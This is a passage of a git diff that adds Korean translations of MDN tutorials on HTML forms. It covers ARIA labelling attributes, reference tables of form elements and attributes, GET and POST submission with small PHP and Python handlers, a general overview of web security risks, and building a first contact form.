+  <p>
+    <input type="text" name="fruit" aria-labelledby="fruitLabel">
+  </p>
+</form>
+ +

Conceptually, it's the opposite of the for attribute on the {{HTMLElement("label")}} element. With the for attribute, you reference the id of the widget but with the aria-labbeldby attribute, you reference the id of the label.

+ +

The aria-describedby attribute

+ +

This attribute works like the aria-labelledby attribute. The difference is mainly semantic. A label defines the essence of an object, while a description provides more information that the user might need. This attribute is not advised for form elements, you should rely on the aria-labelledby attribute, except if you want to provide extensive information on the current form element. It is to be used as a provider for a longer description.

+ +

The aria-label attribute

+ +

This attribute is used when there is no explicit label in the DOM for a given widget. It lets you provide a widget that will be passed to assitive technologies without actually creating a DOM node for it.

+ +
<form>
+  <p>
+    <input type="search" name="q" aria-label="Search" />
+    <input type="submit" value="Go" />
+  </p>
+</form>
+ +

The role attribute

+ +

This is the most important ARIA attribute. It lets you give specific semantic information, understandable by assitive technologies, for a given HTML element. There are many roles available and some of them are dedicated to form widgets.

+ +

ARIA tries to provide semantics for widgets that are not currently available in HTML as well as for elements that already exist. We will see in detail how to use those roles in the article: How to build custom form widgets.

+ +

Those roles for form widgets are :

+ + + +

It's also worth noting that there's something called a composite role:

+ + + +

If those roles are extremely useful, know that there are more; ARIA is a very large specification. Digging into it can help you improve accessibility in areas far afield from HTML forms.

+ +

결론

+ +

You now have all the knowledge to properly structure your HTML forms; the next article will dig into implementation details and functional expectations: The native form widgets.

+ +

볼거리

+ + diff --git a/files/ko/learn/html/forms/index.html b/files/ko/learn/html/forms/index.html new file mode 100644 index 0000000000..f7244cbdc1 --- /dev/null +++ b/files/ko/learn/html/forms/index.html @@ -0,0 +1,358 @@ +--- +title: HTML 폼 가이드 +slug: Learn/HTML/Forms +translation_of: Learn/Forms +--- +

이 가이드는 HTML 폼을 숙달 시키는데 도움이 되는 문서입니다. HTML 폼은 사용자와 상호작용할 수 있는 매우 강력한 도구입니다. 그러나 역사적으로 나 기술적인 이유로 사용자에게 항상 명확하게 기능을 제공할 수 있는 것은 아닙니다. 이 가이드에서 HTML 폼 관점에서 스타일 구조, 사용자 위젯으로 데이터 다루기 등 모든 것을 다룰 것입니다. 이러한 강력한 기술들을 즐기길 바랍니다!

+ +

항목

+ +
    +
  1. 나의 첫 HTML 폼
  2. +
  3. HTML HTML 폼 구성 방법
  4. +
  5. 기본 폼 위젯
  6. +
  7. CSS와 HTML 폼 +
      +
    1. HTML 폼 스타일
    2. +
    3. HTML 폼을 위한 고급 스타일
    4. +
    5. 폼 위젯을 위한 호환성 테이블 속성
    6. +
    +
  8. +
  9. 데이터 주고 받기
  10. +
  11. 데이터 유효성 검사
  12. +
  13. 사용자 폼 위젯 만드는 방법
  14. +
  15. 자바스크립트를 통해서 폼 전달 하기 +
      +
    1. FormData 객체 사용
    2. +
    +
  16. +
  17. 기존 브라우저에서 HTML 폼
  18. +
+ +

HTML 문서

+ +

HTML 요소

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
요소관련 DOM 인터페이스설명
{{HTMLElement("button")}}{{domxref("HTMLButtonElement")}}button 요소는 클릭할 수 있는 버튼을 나타낸다.
{{HTMLElement("datalist")}}{{domxref("HTMLDataListElement")}}datalist 요소는 다른 폼 요소의 값에 대한 가능한 옵션들을 나타내는 {{ HTMLElement("option") }} 요소의 집합을 포함합니다. 
{{HTMLElement("fieldset")}}{{domxref("HTMLFieldSetElement")}}fieldset 요소는 폼 안에 여러 폼 요소들을 그룹화 하는데 사용됩니다.
{{HTMLElement("form")}}{{domxref("HTMLFormElement")}}form  요소는 사용자가 정보를 웹서버로 전송하도록 상호작용하는 요소를 포함하는 문서의 부분으로 나타냅니다.
{{HTMLElement("input")}}{{domxref("HTMLInputElement")}}input 요소는 대화형 컨트롤 폼들을 생성하는데 사용됩니다.
{{HTMLElement("keygen")}}{{domxref("HTMLKeygenElement")}}keygen 요소는 HTML 폼 요소의 일부로서 쉽게 키 데이터를 발생시키고 공개키를 전송을 위해서 존재 합니다.
{{HTMLElement("label")}}{{domxref("HTMLLabelElement")}}label 요소는 사용자 인터페이스 항목에 대한 캡션을 나타냅니다.
{{HTMLElement("legend")}}{{domxref("HTMLLegendElement")}}legend 요소는 상위 요소인 {{ HTMLElement("fieldset") }} 컨텐츠를 위한 캡션을 나타냅니다.
{{HTMLElement("meter")}}{{domxref("HTMLMeterElement")}}meter 요소는 알려진 범위 안에 정해 저 있는 스칼라 값이나 소수 값 주 하나를 나타냅니다.
{{HTMLElement("optgroup")}}{{domxref("HTMLOptGroupElement")}}optgroup 요소는 {{ HTMLElement("select") }} 요소 안에 있는 옵션 그룹을 생성합니다.
{{HTMLElement("option")}}{{domxref("HTMLOptionElement")}}HTML option 요소는 {{ HTMLElement("select") }}, {{ HTMLElement("optgroup") }} 또는 {{ HTMLElement("datalist") }}요소 안에 항목을 나타내는 컨트롤을 생성하는데 사용됩니다.
{{HTMLElement("output")}}{{domxref("HTMLOutputElement")}}output 요소는 계산 결과를 나타냅니다.
{{HTMLElement("progress")}}{{domxref("HTMLProgressElement")}}progress 요소는 작업 완료 진행 상태를 나타내는데 사용됩니다.
{{HTMLElement("select")}}{{domxref("HTMLSelectElement")}}select 요소는 옵션 메뉴를 제공하는 컨트롤을 나타냅니다.
{{HTMLElement("textarea")}}{{domxref("HTMLTextAreaElement")}}textarea 요소는 다중 라인 일반 텍스트 편집 컨트롤을 나타냅니다.
+ +
+

Note: 모든 폼 요소들이나 모든 HTML요소들은 {{domxref("HTMLElement")}} 돔 인터페이스를 지원합니다.

+
+ +

HTML 속성

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
속성 이름요소설명
accept{{ HTMLElement("form") }}, {{ HTMLElement("input") }}서버가 받는 형식 목록, 일반적으로 file 형식을 사용합니다.
accept-charset{{ HTMLElement("form") }}지원하는 문자 집합 목록
action{{ HTMLElement("form") }}폼을 통해서 전송 정보를 처리하는 프로그램의 URL 
autocomplete{{ HTMLElement("form") }}, {{ HTMLElement("input") }}폼 안에서 브라우저로 부터 자동으로 완성되는 기본 값을 가진 컨트롤 인지 아닌지 나타냅니다.
autofocus{{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}페이지가 로드된 후 요소가 자동으로 포커스 해야 되는지 설정합니다.
challenge{{ HTMLElement("keygen") }}공개 키(public key)와 함께 전송되는 문자열입니다.
checked{{ HTMLElement("input") }} +

해당 요소가 페이지가 로드될 때 체크된 상태로 나타나도록 설정합니다. 

+
cols{{ HTMLElement("textarea") }} +

textarea의 세로줄 수를 설정합니다.

+
data{{ HTMLElement("object") }}자원의 URL을 명시합니다.
dirname{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}
disabled{{ HTMLElement("button") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("optgroup") }}, {{ HTMLElement("option") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}사용자가 요소와 상호 작용할 수 있는 지 나타냅니다.
enctype{{ HTMLElement("form") }}POST방식으로 전송되는 데이터의 타입을 설정합니다.
for{{ HTMLElement("label") }}, {{ HTMLElement("output") }}Describes elements which belongs to this one.
form{{ HTMLElement("button") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("label") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("object") }}, {{ HTMLElement("output") }}, {{ HTMLElement("progress") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }} +

요소의 소유자인 폼을 나타냅니다.

+
high{{ HTMLElement("meter") }}Indicates the lower bound of the upper range.
keytype{{ HTMLElement("keygen") }}Specifies the type of key generated.
list{{ HTMLElement("input") }}Identifies a list of pre-defined options to suggest to the user.
low{{ HTMLElement("meter") }}Indicates the upper bound of the lower range.
max{{ HTMLElement("input") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("progress") }}허용되는 최댓값을 나타냅니다.
maxlength{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}요소에서 허용되는 특징의 최대 수를 명시합니다.
method{{ HTMLElement("form") }}Defines which HTTP method to use when submitting the form. Can be GET (default) or POST.
min{{ HTMLElement("input") }}, {{ HTMLElement("meter") }}허용되는 최솟값을 나타냅니다.
multiple{{ HTMLElement("input") }}, {{ HTMLElement("select") }}Indicates whether multiple values can be entered in an input of the type email or file.
name{{ HTMLElement("button") }}, {{ HTMLElement("form") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("output") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }} +

요소의 이름. For example used by the server to identify the fields in form submits.

+
novalidate{{ HTMLElement("form") }}This attribute indicates that the form shouldn't be validated when submitted.
optimum{{ HTMLElement("meter") }}Indicates the optimal numeric value.
pattern{{ HTMLElement("input") }}Defines a regular expression which the element's value will be validated against.
placeholder{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}Provides a hint to the user of what can be entered in the field.
readonly{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}Indicates whether the element can be edited.
required{{ HTMLElement("input") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}Indicates whether this element is required to fill out or not.
rows{{ HTMLElement("textarea") }}Defines the number of rows in a textarea.
selected{{ HTMLElement("option") }}Defines a value which will be selected on page load.
size{{ HTMLElement("input") }}, {{ HTMLElement("select") }}Defines the width of the element (in pixels). If the element's type attribute is text or password then it's the number of characters.
src{{ HTMLElement("input") }}The URL of the embeddable content.
step{{ HTMLElement("input") }}
target{{ HTMLElement("form") }}
type{{ HTMLElement("button") }}, {{ HTMLElement("input") }}Defines the type of the element.
usemap{{ HTMLElement("input") }}
value{{ HTMLElement("button") }}, {{ HTMLElement("option") }}, {{ HTMLElement("input") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("progress") }}Defines a default value which will be displayed in the element on page load.
wrap{{ HTMLElement("textarea") }}Indicates whether the text should be wrapped.
+ +

Normative reference

+ + diff --git a/files/ko/learn/html/forms/sending_and_retrieving_form_data/index.html b/files/ko/learn/html/forms/sending_and_retrieving_form_data/index.html new file mode 100644 index 0000000000..f1d7c35437 --- /dev/null +++ b/files/ko/learn/html/forms/sending_and_retrieving_form_data/index.html @@ -0,0 +1,249 @@ +--- +title: Sending and retrieving form data +slug: Learn/HTML/Forms/Sending_and_retrieving_form_data +translation_of: Learn/Forms/Sending_and_retrieving_form_data +--- +

많은 경우 HTML 폼은 서버에 데이터를 전송할 목적으로 사용된다. 서버는 데이터를 처리하고 사용자에게 응답을 보낼 것이다. 간단한 것 처럼 보이지만 데이터가 서버나 사용자에게 피해를 입히지 않기 위해서는 몇가지를 명심해야한다.

+ +

데이터는 어디로 갈까?

+ +

클라이언트/서버 구조

+ +

웹은 간단히 말하면 클라이언트(파이어폭스, 크롬, 사파리, IE 등)는 서버(아파치, Nginx, IIS, 톰켓 등)로 HTTP프로토콜을 사용해 요청을 하는 클라이언트/서버 구조를 기본으로 작동된다. 서버 응답은 요청과 똑같은 프로토콜을 사용한다.

+ +

A basic schema of the Web client/server architecture

+ +

클라이언트 측에서 HTML폼 만큼 사용친화적으로 HTTP 요청을 서버에 보내는 편리한 것이 없다.이것은 사용자가 정보를 HTTP요청으로 전달을 할 수있게 만든다.

+ +

클라이언트측: 데이터 보내기

+ +

{{HTMLElement("form")}} 요소는 데이터 전송 방법을 정의한다. 제공하는 모든 속성은 사용자가 submit 버튼을 누를때 보내질 요청을 구성할 수 있도록  설계되었다. 두가지 중요한 속성은 {{htmlattrxref("action","form")}} 와 {{htmlattrxref("method","form")}}이다.

+ +

{{htmlattrxref("action","form")}} 속성

+ +

이 속성은 데이터를 어디로 보낼 것인지 지정한다. 이 값은 반드시 유효한 URL이어야 한다.만약 이 속성을 지정하지 않으면 데이터는 폼이 있는 페이지의 URL로 보내질 것이다.

+ +
Examples
+ +

첫번째 예제로 데이터는 http://foo.com로 보낼 것이다.

+ +
<form action="http://foo.com">
+ +

여기에서 데이터는 폼 페이지를 호스팅을 하는 같은 서버로 전송 되지만, 서버의  다른 URL로 전송된다.

+ +
<form action="/somewhere_else">
+ +

아래와 같이 속성을 지정하지 않으면 {{HTMLElement("form")}} 속성은 데이터를 폼을 포함한 페이지 주소로 보낼 것이다.

+ +
<form>
+ +

이전에 많은 페이지들은 데이터를 반드시 폼을 포함하는 페이지와 같은 페이지에 보내는 것을 나타내는 표기법을 다음과 같이 사용했다. 그러나 HTML5 이후로 속성은 필수로 지정하지 않아도 되기 떄문에 이제 더이상 필요하지 않는다.

+ +
<form action="#">
+ +
+

Note: HTTPS(보안 HTTP) 프로토콜을 사용하는 URL을 지정하는 것도 가능하다. 이 것을 사용하면 폼 자체가 안전하지 않은 페이지에 HTTP를 이용해서 접근하는  곳에 호스트된 경우에 데이터는 나머지 요청들과 함께 암호화된다. 반면, 만약 폼이 보안 페이지에서 호스트 된 경우라도  {{htmlattrxref("action","form")}} 속성에서 안전하지 않은 HTTP URL을  지정하면 모든 브라우저는 데이터가 암호화되지 않았기 때문에 데이터를 보낼때마다 보안 경고를 출력할 것이다 

+
+ +

{{htmlattrxref("method","form")}} 속성

+ +

이 속성은 데이터를 어떻게 보낼 것인지 정의한다. HTTP protocol 은 요청 방법에 대해 다양한 방법들을 제공한다.  HTML 폼 데이터는 오직 2가지 방법으로 만 전송 할 수 있는데 바로 GET 방식과 POST방식이 있다.

+ +

이 두 가지 방식의 차이점을 이해하기 위해서는 뒤로 가서 HTTP가 어떻게 작동하는지 살펴봐야한다. 웹에서 리소스에 접근 할 때마다, 브라우저는 URL에 요청을 보낸다. HTTP요청은 두 가지 부분으로 나누어진다. 브라우저 수용력에 대한 전역 메타 테이터들을 포함하는 헤더와 서버에서 지정된 요청을 처리하는데 필요한 정보를 포함하는 바디가 있다.

+ +
GET 방식
+ +

GET 방식은 브라우저에서 서버에 주어진 리소스를 전달해달라고 말하기 위해 사용되는 방식이다. " 이봐 서버 난 이 리소스를 원해" 이 경우 브라우저는 바디가 비어 있는 요청을 하게 된다. 바디가 비어 있기 때문에,  만약 폼이 이 방식를 통하여 전송 하는 경우 데이터는 URL에 포함되어 서버로 보내진다.

+ +
예제
+ +

다음 폼을 생각 해 봅시다.

+ +
<form action="http://foo.com" method="get">
+  <input name="say" value="Hi">
+  <input name="to" value="Mom">
+  <button>Send my greetings</button>
+</form>
+ +

GET 방식을 사용하면 HTTP 요청은 다음과 같다.

+ +
GET /?say=Hi&to=Mom HTTP/1.1
+Host: foo.com
+ +
POST 방식
+ +

POST 방식은 조금 다르다. 이는 브라우저의 HTTP요청 바디안에 제공되는 데이터를 고려한 응답을 요구하기 위해 서버로 보내는 방식이다. "이봐 서버 이 데이터를 보고 이거에 맞는 데이터를 보내봐" 만약 폼이 이 방식으로 사용하여 요청을 한다면 데이터는 HTTP요청 바디에 추가되어 전송된다.

+ +

예제

+ +

이 폼을 생각해보라(위 예제와 똑같다)

+ +
<form action="http://foo.com" method="post">
+  <input name="say" value="Hi">
+  <input name="to" value="Mom">
+  <button>Send my greetings</button>
+</form>
+ +

POST 방식을 사용하면 다음과 같이 HTTP 요청을 할 것이다,

+ +
POST / HTTP/1.1
+Host: foo.com
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 13
+
+say=Hi&to=Mom
+ +

Content-Length 헤더는 바디의 크기를 나태내고,  Content-Type 헤더는 서버에 보낼 리소스의 종류 나태낸다. 우리는 비트(bit/조금씩?)에서 이러한 헤더를 설명 할 것이다.

+ +

물론 http 요청은 절대 사용자에게 표시되지 않는다(파이어폭스 웹 콘솔이나 크롬 개발자 툴을 이용하지 않는이상). 사용자에게 보여지는 것은 호출한 URL뿐이다. 그래서 GET 요청은 사용자에게 URL바에서 데이터를 볼 수있지만,  POST 요청은 그러지 못한다. 이것은 두가지 이유에서 매우 중요하다.

+ +
    +
  1. 만약 패스워드를 전송해야 되는 경우(또는 민간한 데이터의 부분), 절대 URL 바에 데이터를 출력하는 GET 방식을 사용해서는 안된다.
  2. +
  3. 만약 거대한 데이터를 보내는경우 POST 방식이 선호 된다. 왜냐하면 몇몇 브라우저는 URL들의 크기를 제한하기 떄문이다. 또한 많은 서버들이 URL들의 길이를 제한한다.
  4. +
+ +

서버측: 데이터 가져오기

+ +

어떠한 HTTP 방식을 선택 하든지 서버는 키/ 벨류 쌍의 목록과 같은 데이터를 얻기 위해 파싱된 문자열을 받을 것이다. 이러한 목록에 접근하는 방법은 사용하는 개발 플랫폼에 의존되고 어떠한 지정된 프레임워크에서 이것을 사용 할 수 있을것이다. 또한 사용 하는 기술은 동일한 키를 어떻게 처리할 것인지 결정한다. 보통 가장 마지막에 수신된 값이 우선순위를 가진다.

+ +

예제: PHP 날것

+ +

PHP 데이타에 접근 하기 위하여 몇가지 글로벌 객체를 제공한다. POST 방식 사용했다고 생각해보면, 다음과 같은 예제는 단순히 데이터만 받아 사용자에게 출력만 한다. 물론 데이터로 무엇을 할 것인지는 너어게 달려있다. 아마도 데이터를 사용자에게 출력하거나, 데이터베이스에 저장, 이메일에 전송 또는 다른 방법으로 처리할 것이다.

+ +
<?php
+  // The global $_POST variable allow to access the data send with the POST method
+  // To access the data send with the GET method, you can use $_GET
+  $say = htmlspecialchars($_POST['say']);
+  $to  = htmlspecialchars($_POST['to']);
+
+  echo  $say, ' ', $to;
+ +

이 예제는 우리가 보낸 데이터를 페이지에 출력 할 것이다. 이 예제는 다음과 같이 출력할 것이다.

+ +
Hi Mom
+ +

예제: Python

+ +

이 예제는 파이썬을 사용하여 제공된 데이터를 웹페이지에 출력하는 예제입니다. CGI 파이썬 패키지를 이용하여 폼데이터에 접근한다.

+ +
#!/usr/bin/env python
+import html
+import cgi
+import cgitb; cgitb.enable()     # for troubleshooting
+
+print("Content-Type: text/html") # HTTP header to say HTML is following
+print()                          # blank line, end of headers
+
+form = cgi.FieldStorage()
+say  = html.escape(form["say"].value);
+to   = html.escape(form["to"].value);
+
+print(say, " ", to)
+ +

이 결과는 PHP와 똑같다?.

+ +
Hi Mom
+ +

다른 언어와 프레임 워크

+ +

 Perl, Java, .Net, Ruby등 이와 같은 다른 서버측 기술이 있다. 이중에 최고라고 생각되는 것을 사용하면된다. 즉, 까다로운 일이 될 수 있기 때문에, 직접 기술을 사용하는 것은 매우 드문 일이 있음을 언급하는 것은 가치가있다.(?) 다음과 같은 폼을 더 쉽게 다루기위해 다음과 같은 좋은 프레임 워크들이 사용된다.

+ + + +

이러한 프레임 워크를 사용하는 경우에도 폼을 다루는 것은 어쩔수 없이 쉽지 않다는 것을 주목을 할 필요가 있다. 그러나 이것을 사용하면 많은 시간을 절약 할 수 있다.

+ +

특별한 경우: 파일 보내기

+ +

파일은 HTML 폼에서 특별한 경우이다. 파일은 2진 데이터 또는 다른 데이터는 텍스트 데이터로 간주된다.HTTP는 텍스트 프로토콜 이기 때문에 2진 데이터를 다루기 위해서는 특별한 요구 사항이있다.

+ +

{{htmlattrxref("enctype","form")}} 속성

+ +

이 속성은 Content-Type  HTTP 헤더의 값을 지정할 수 있게 해준다. 서버에 데이터가 무슨 종류인지 전달하기 떄문에 이 해더는 매우 중요하다. 기본 값으로는 application/x-www-form-urlencoded. 이다. 사람 말로는 "이 폼 데이터는 URL 폼 형태로 인코딩되어 있습니다" 이다

+ +

만약 파일을 보내고 싶다면 두 가지를 해야한다.

+ + + +

예제 

+ +
<form method="post" enctype="multipart/form-data">
+  <input type="file" name="myFile">
+  <button>Send the file</button>
+</form>
+ +
+

Note: 몇 브라우저는 {{htmlattrxref("multiple","input")}}속성을 {{HTMLElement("input")}}요소에 지원하여 한번에 여러 요소를 전달 할 수 있다. 이러한 파일을 서버측에서 다루는 방법은 서버에서 어떠한 기술을 사용하냐에 따라서 매우 달라진다. 앞에서 언급 한바와 같이 프레임워크를 사용하면 더 쉽게 이용할 수있다.

+
+ +
+

Warning: 많은 서버들이 남용을 예방하기 위해 HTTP요청과 파일의 크기를 제한하도록 구성된다. 파일을 전송하기 전에 서버 관리자에게 제한 크기를 확인하는것이 중요하다.

+
+ +

보안 코너

+ +

데이터를 서버로 보낼 떄마다 보안성에 대하여 생각해 봐야한다. HTML폼은 서버를 공격하는데 첫번째 매개변수가 될 수있다. 문제는 HTML폼에서 오지 않는다. 서버에서 어떻게 처리하냐에 따라 문제가 발생한다.

+ +

일반적인 보안 결함

+ +

무엇을 하는지에 따라 잘 알려진 보안 문제가 있다.

+ +

XSS 과 CSRF

+ +

크로스 사이트 스크립팅(XSS)과 크로스 사이트 요청 위조(CSRF)은 데이터를 출력하기 위해 사용자나 다른 사용자에게 데이터를 보낼떄 공격하는 일반적인 유형이다.

+ +

XSS 공격자는 다른 사용자가 볼 웹 페이지에 클라이언트 측 스크립트를 주입할 수있다.크로스 사이트 스크립팅 취약점은 공격자가 동일 출처 정책(same origin policy)의 접근 제어를 우회하여 사용 될 수 있다. 이러한 공격은 조금 불편함에서 심각한 보안 위험에 이르기 까지 다양하게 영향을 미친다.

+ +

CSRF는 XSS와 비슷하게 공격자가 같은 방법으로 시작한다. —클라이언트 스크립트를 웹페이지에 주입한다. - 그러나 이것의 대상은 다르다. CSRF 공격자는 높은 권한 계정(서버 관리자 같은)으로 권한을 상승하려고 시도하고 하지 말아야할 행동들을 할것이다.(예를들어 신뢰 할 수없는 사용자에게 데이터 전송하는 것)

+ +

XSS 공격자는 사용자가 웹사이트에 대하여 가진 신뢰를 이용하여 공격자는 웹사이트가 사용자를 신뢰한다는 것을 이용한다.

+ +

이러한 공격을 방지하려면 사용자가 서버에 보내는 데이터를 항상 확인해야하며 해당 내용을 표시해야 하는 경우 사용자가 제공한 HTML 콘텐츠를 표시하지 말아야 한다. 대신, 당신이 보여주려는 데이터가 사용자가 제공한 것과 동일한 데이터가 아니도록 데이터를 처리해야 한다. 현재 시장에 나와있는 거의 모든 프레임 워크는 어떤 유저가 보내는 데이터라도 HTML{{HTMLElement ( "script")}},{{HTMLElement ( "iframe")}} 및 {{HTMLElement ( "object")}} 요소를 데이터에서 제거하는 최소한의 필터를 구현한다. 이는 위험을 완화하는 데 도움은 되지만 반드시 근절한다고 보장할 수는 없다.

+ +

SQL injection

+ +

SQL injection is a type of attack that tries to perform actions on a database used by the target web site. This typically involves sending an SQL request and hopes that the server will execute it (many times when the application server tries to store the data). This is actually one of the main vector attacks against web sites.

+ +

The consequences can be terrible, ranging from data loss to access to a whole infrastructure by using privilege escalation. This is a very serious threat and you should never store data sent by a user without performing some sanitization (for example, by using mysql_real_escape_string() on a PHP/MySQL infrastructure).

+ +

HTTP header injection 와 email injection

+ +

These kinds of attacks can occur when your application builds HTTP headers or emails based on the data input by a user on a form. These won't directly damage your server or affect your users but are an open door to deeper problems such as session hijacking or phishing attacks.

+ +

These attacks are mostly silent, and can turn your server into a zombie.

+ +

Be paranoid: Never trust your users

+ +

So, how do you fight these threats? This is a topic far beyond this guide; however there are a few rules it's good to keep in mind. The most important rule is: never ever trust your users, including yourself; even a trusted user could have been hijacked.

+ +

All data that comes to your server must be checked and sanitized. Always. No exception.

+ + + +

If you follow these three rules of thumb, you should avoid many/most problems; however, it's always a good idea to get a security review performed by a competent third party. Don't assume that you've seen all the possible problems.

+ +

결론

+ +

여기서 볼 수 있듯이 폼데이터는 쉽게 보낼수 있지만 어플리케이션에서 데이터를 확보하는것은 까다로운 일이 될 수 있다. 프론트 앤드 개발자가 기억해야 할 것은 데이터 모델만 보안을 정한다고 끝이 아니라는 것이다. Yes, as we'll see, it's possible to perform client side data validation but the server can't trust this validation because it has no way to truly know what really happens on the client side.

+ +

볼거리

+ +

If you want to learn more about securing a web application, you can dig into these resources:

+ + diff --git a/files/ko/learn/html/forms/your_first_html_form/index.html b/files/ko/learn/html/forms/your_first_html_form/index.html new file mode 100644 index 0000000000..b997fc1f08 --- /dev/null +++ b/files/ko/learn/html/forms/your_first_html_form/index.html @@ -0,0 +1,272 @@ +--- +title: 나의 첫 HTML 폼 +slug: Learn/HTML/Forms/Your_first_HTML_form +translation_of: Learn/Forms/Your_first_form +--- +

이 문서는 HTML 폼 소개 문서입니다. 간단한 폼들을 살펴보면서 HTML 폼을 만들기에 대한 기본적인 필요 사항들을 볼 수 있을 것이다. 이 문서는 HTML폼에 대해서는 아무것도 몰라도 되지만 다음 문서에 나와 있는 기본적인 HTML이나 CSS를 알아야 한다. (the basics of HTMLCSS)

+ +

시작하기전에

+ +

HTML 폼 이란?

+ +

HTML폼은 사용자와 웹사이트 또는 어플리케이션이 서로 상호 작용하는 것 중 중요한 기술 중에 하나이다. 폼은 사용자가 웹사이트에 데이터를 전송하는 것을 허용한다. 일반적으로 데이터는 웹 서버로 전송되지만 웹페이지가 데이터를 사용하기 위하여 사용할 수 도 있다.

+ +

HTML 폼은 하나 이상의 위젯으로 만들어 진다. 이러한 위젯들은 텍스트 필드(한줄 또는 여러줄), 셀렉 박스,  버튼, 체크박스, 라디오 버튼이 될 수 있다. 대부분 이러한 위젯들은 위젯을 설명하는 라벨과 함께 사용된다.

+ +

폼을 사용하려면 무엇이 필요합니까?

+ +

HTML을 다루기 위한 텍스트 에디터나 웹 브라우저외는 아무것도 필요 없습니다. 물론 비주얼 스튜디오, 이클립트, 앱타나 등 통합개발환경(IDE)을 사용하면 많은 이점이 있지만 이것은 만드는 사람 마음이다.

+ +

HTML 폼과 일반적인 HTML 요소의 주요 차이점은 폼에 의해 수집된 데이터는 대부분 웹서버에 전송된다는 점이다. 이런 경우 데이터를 받거나 처리하는 웹서버를 설정해야한다. 웹서버를 설정하는 방법은 이 문서의 범위를 벗어나지만 알고 싶다면 다음 문서를 참조 하시오 Sending and retrieving form data.

+ +

폼 디자인하기

+ +

코드를 보기전에 항상 잠시 뒤로 물러나 폼에 대하여 생각하는 것이 더 중요하다.   간단한 모형을 디자인 하는것은 개발자가 사용자에게 묻고 싶은 데이터를 올바르게 정의하는데 도움을 준다. 사용자 경험 (UX)의 관점에서 폼이 많을수록 사용자들이 더 줄어든다는 사실을 기억하는게 중요하다. 반드시 필요한것이 무엇인지 생각하면서 간단하게 유지하는 것이 중요하다. 폼 디자인은 사이트나 어플리케이션을 만드는 과정 중 중요한 단계이다. 폼들의 디자인은 이 문서의 범위를 벗어나지만 만약 더 자세하게 알고 싶은 경우 다음 문서를 참조 하세요.

+ + + +

이 문서에서는 간단한 문의를 하는 폼을 만들것이다. 거칠게 스케치 해보자.

+ +

The form to build, roughly sketch

+ +

우리가 만들 폼은 3개의 텍스트 필드와 하나의 버튼을 가지고 있다. 기본적으로 우리는 사용자에게 이름, 이메일, 문의사항을 물어 볼 것이고 버튼을 눌러서 웹서버로 데이터를 보내는게 목적이다.

+ +

HTML를 직접 다루어 보자

+ +

자 이제 HTML에가서 폼을 코딩 할 준비가 되었다. 우리의 문의하는 폼에서 다음과 같은 HTML 요소들을 사용할 것이다. {{HTMLElement("form")}}, {{HTMLElement("label")}}, {{HTMLElement("input")}}, {{HTMLElement("textarea")}}, and {{HTMLElement("button")}}.

+ +

{{HTMLElement("form")}} 요소

+ +

모든 HTML 폼은 {{HTMLElement("form")}} 요소로 다음과 같이 시작된다:

+ +
<form action="/my-handling-form-page" method="post">
+
+</form>
+ +

이 요소는 폼의 공식적인 형태이다. 이 요소는 다음 {{HTMLElement("div")}} 나 {{HTMLElement("p")}} 요소와 같이 사용되고,뿐만 아니라 폼이 동작하는 방식을 설정하는 일부 속성들을 지정 해야한다. 이러한 모든 속성은 선택적이지만 action 속성과 method 속성은 필수적으로 설정해야 한다.

+ + + +

만약 이러한 속성에 더 자세한 내용을 알고 싶다면 다음 문서를 참조하시오. Sending and retrieving form data.

+ +

{{HTMLElement("label")}}, {{HTMLElement("input")}}, 그리고 {{HTMLElement("textarea")}} 요소 추가하기

+ +

우리의 문의하는 폼은 정말 간단하고 라벨을 가지고 있는 세 개의 텍스트필드를 가지고 있다. 이름을 입력 받는 입력 필드는 한줄 텍스트 필드를 사용하고, 이메일을 입력 받는 입력 필드는 이메일만 입력받는 한줄 텍스트 필드를 사용하고, 문의 내용을 입력받는 입력 필드는 다중 라인 텍스트 필드가 사용 될것이다.

+ +

HTML코드를 다음과 같이 짤 것이다.

+ +
<form action="/my-handling-form-page" method="post">
+    <div>
+        <label for="name">Name:</label>
+        <input type="text" id="name" />
+    </div>
+    <div>
+        <label for="mail">E-mail:</label>
+        <input type="email" id="mail" />
+    </div>
+    <div>
+        <label for="msg">Message:</label>
+        <textarea id="msg"></textarea>
+    </div>
+</form>
+ +

{{HTMLElement("div")}} 요소는 코드를 편리하게 구성하고 스타일링 쉽게 만들어 줍니다. 중요한 점은 for속성은 모든{{HTMLElement("label")}} 요소에서 공식적으로 폼 위젯과 라벨을 연결하는데 사용된는 것이다. 이 속성은 위젯에 맞는 ID를 참조한다. 이 것은 몇 가지 장점이 있다. 가장 두드러 지는 것은 사용자가 라벨을 눌럿을때 그거에 맞는 위젯을 활성화 시키는 것이다.만약 이 속성에 대한 장점을 더 알고 싶다면 다음 문서에 자세히 나와있다. How to structure an HTML form.

+ +

